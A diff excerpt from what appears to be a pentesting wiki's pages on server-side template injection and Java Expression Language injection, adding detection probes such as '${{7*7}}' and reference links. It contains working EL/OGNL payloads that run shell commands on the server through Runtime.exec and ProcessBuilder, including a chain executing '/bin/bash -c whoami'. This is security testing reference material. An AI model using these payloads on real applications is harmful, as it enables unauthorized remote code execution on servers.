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3
pentesting-web/ssti-server-side-template-injection/README.md
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@ -334,7 +334,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `{{7*7}}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\).
Check the following page to learn more about the **exploitation of EL interpreters**:

3
pentesting-web/ssti-server-side-template-injection/el-expression-language.md
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@ -178,7 +178,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
@ -240,6 +240,7 @@ ${employee.FirstName}
## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)